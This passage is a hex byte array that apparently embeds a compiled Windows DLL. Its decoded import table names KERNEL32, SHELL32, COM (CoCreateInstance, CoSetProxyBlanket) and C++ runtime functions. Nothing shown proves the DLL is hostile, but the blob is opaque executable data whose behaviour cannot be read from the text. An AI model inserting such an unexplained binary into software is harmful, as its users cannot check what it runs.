0xB2, 0x00, 0x00, 0xA8, 0xB1, 0x00, 0x00, 0xC8, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x50, 0xB2, 0x00, 0x00, 0xA0, 0xB2, 0x00, 0x00, 0xC8, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x60, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x78, 0xB2, 0x00, 0x00, 0xC8, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x20, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x90, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0xB8, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x70, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xB8, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x30, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xB8, 0x00, 0x00, 0x20, 0x92, 0x00, 0x00, 0xC0, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xB8, 0x00, 0x00, 0xB0, 0x93, 0x00, 0x00, 0x10, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xB8, 0x00, 0x00, 0x00, 0x92, 0x00, 0x00, 0xA0, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xC3, 0x00, 0x00, 0x90, 0x90, 0x00, 0x00, 0xA0, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xC4, 0x00, 0x00, 0x90, 0x92, 0x00, 0x00, 0x40, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xC4, 0x00, 0x00, 0x30, 0x92, 0x00, 0x00, 0x48, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xC6, 0x00, 0x00, 0x38, 0x93, 0x00, 0x00, 0xC8, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xC6, 0x00, 0x00, 0xB8, 0x92, 0x00, 0x00, 0xB0, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xC6, 0x00, 0x00, 0xA0, 0x93, 0x00, 0x00, 0xB0, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C, 0xC6, 0x00, 0x00, 0xA0, 0x92, 0x00, 0x00, 0xE8, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xC6, 0x00, 0x00, 0xD8, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEE, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCE, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0x02, 0x47, 0x65, 0x74, 0x4D, 0x6F, 0x64, 0x75, 0x6C, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x41, 0x00, 0x00, 0x22, 0x03, 0x47, 0x65, 0x74, 0x54, 0x65, 0x6D, 0x70, 0x50, 0x61, 0x74, 0x68, 0x41, 0x00, 0x00, 0x3C, 0x01, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x43, 0x61, 0x6C, 0x6C, 0x73, 0x00, 0x4B, 0x45, 0x52, 0x4E, 0x45, 0x4C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x4C, 0x01, 0x53, 0x48, 0x47, 0x65, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x50, 0x61, 0x74, 0x68, 0x41, 0x00, 0x00, 0x53, 0x48, 0x45, 0x4C, 0x4C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x91, 0x00, 0x43, 0x6F, 0x55, 0x6E, 0x69, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x00, 0x00, 0x2B, 0x00, 0x43, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x00, 0x00, 0x87, 0x00, 0x43, 0x6F, 0x53, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x78, 0x79, 0x42, 0x6C, 0x61, 0x6E, 0x6B, 0x65, 0x74, 0x00, 0x61, 0x00, 0x43, 0x6F, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x45, 0x78, 0x00, 0x00, 0x6F, 0x6C, 0x65, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x4F, 0x4C, 0x45, 0x41, 0x55, 0x54, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0xA5, 0x00, 0x3F, 0x3F, 0x31, 0x5F, 0x4C, 0x6F, 0x63, 0x6B, 0x69, 0x74, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0x6D, 0x00, 0x3F, 0x3F, 0x30, 0x5F, 0x4C, 0x6F, 0x63, 0x6B, 0x69, 0x74, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x40, 0x48, 0x40, 0x5A, 0x00, 0x00, 0x1F, 0x05, 0x3F, 0x75, 0x6E, 0x63, 0x61, 0x75, 0x67, 0x68, 0x74, 0x5F, 0x65, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x59, 0x41, 0x48, 0x58, 0x5A, 0x00, 0xD5, 0x01, 0x3F, 0x5F, 0x47, 0x65, 0x74, 0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x43, 0x41, 0x50, 0x45, 0x41, 0x56, 0x5F, 0x4C, 0x6F, 0x63, 0x69, 0x6D, 0x70, 0x40, 0x31, 0x32, 0x40, 0x58, 0x5A, 0x00, 0x8F, 0x02, 0x3F, 0x5F, 0x58, 0x6F, 0x75, 0x74, 0x5F, 0x6F, 0x66, 0x5F, 0x72, 0x61, 0x6E, 0x67, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x59, 0x41, 0x58, 0x50, 0x45, 0x42, 0x44, 0x40, 0x5A, 0x00, 0x00, 0xC9, 0x03, 0x3F, 0x69, 0x64, 0x40, 0x3F, 0x24, 0x63, 0x6F, 0x64, 0x65, 0x63, 0x76, 0x74, 0x40, 0x44, 0x44, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x32, 0x56, 0x30, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x32, 0x40, 0x41, 0x00, 0xAB, 0x01, 0x3F, 0x5F, 0x46, 0x69, 0x6F, 0x70, 0x65, 0x6E, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x59, 0x41, 0x50, 0x45, 0x41, 0x55, 0x5F, 0x69, 0x6F, 0x62, 0x75, 0x66, 0x40, 0x40, 0x50, 0x45, 0x42, 0x44, 0x48, 0x48, 0x40, 0x5A, 0x00, 0x00, 0xCE, 0x04, 0x3F, 0x73, 0x65, 0x74, 0x77, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x59, 0x41, 0x3F, 0x41, 0x55, 0x3F, 0x24, 0x5F, 0x53, 0x6D, 0x61, 0x6E, 0x69, 0x70, 0x40, 0x5F, 0x4A, 0x40, 0x31, 0x40, 0x5F, 0x4A, 0x40, 0x5A, 0x00, 0x8E, 0x02, 0x3F, 0x5F, 0x58, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x5F, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x59, 0x41, 0x58, 0x50, 0x45, 0x42, 0x44, 0x40, 0x5A, 0x00, 0x00, 0xE1, 0x04, 0x3F, 0x73, 0x70, 0x75, 0x74, 0x6E, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x5F, 0x4A, 0x50, 0x45, 0x42, 0x44, 0x5F, 0x4A, 0x40, 0x5A, 0x00, 0x00, 0xB1, 0x01, 0x3F, 0x5F, 0x47, 0x65, 0x74, 0x63, 0x61, 0x74, 0x40, 0x3F, 0x24, 0x63, 0x6F, 0x64, 0x65, 0x63, 0x76, 0x74, 0x40, 0x44, 0x44, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x53, 0x41, 0x5F, 0x4B, 0x50, 0x45, 0x41, 0x50, 0x45, 0x42, 0x56, 0x66, 0x61, 0x63, 0x65, 0x74, 0x40, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x32, 0x40, 0x50, 0x45, 0x42, 0x56, 0x34, 0x32, 0x40, 0x40, 0x5A, 0x00, 0x00, 0xC0, 0x03, 0x3F, 0x67, 0x65, 0x74, 0x6C, 0x6F, 0x63, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x3F, 0x41, 0x56, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x32, 0x40, 0x58, 0x5A, 0x00, 0x95, 0x04, 0x3F, 0x73, 0x62, 0x75, 0x6D, 0x70, 0x63, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x48, 0x58, 0x5A, 0x00, 0x00, 0xCF, 0x04, 0x3F, 0x73, 0x67, 0x65, 0x74, 0x63, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x48, 0x58, 0x5A, 0x00, 0xDE, 0x04, 0x3F, 0x73, 0x70, 0x75, 0x74, 0x63, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x48, 0x44, 0x40, 0x5A, 0x00, 0x00, 0x27, 0x05, 0x3F, 0x75, 0x6E, 0x73, 0x68, 0x69, 0x66, 0x74, 0x40, 0x3F, 0x24, 0x63, 0x6F, 0x64, 0x65, 0x63, 0x76, 0x74, 0x40, 0x44, 0x44, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x48, 0x41, 0x45, 0x41, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x50, 0x45, 0x41, 0x44, 0x31, 0x41, 0x45, 0x41, 0x50, 0x45, 0x41, 0x44, 0x40, 0x5A, 0x00, 0x2F, 0x00, 0x3F, 0x3F, 0x30, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x49, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0xF5, 0x01, 0x3F, 0x5F, 0x49, 0x6E, 0x69, 0x74, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x49, 0x45, 0x41, 0x41, 0x58, 0x58, 0x5A, 0x00, 0x44, 0x02, 0x3F, 0x5F, 0x4F, 0x73, 0x66, 0x78, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x58, 0x58, 0x5A, 0x00, 0x68, 0x03, 0x3F, 0x66, 0x6C, 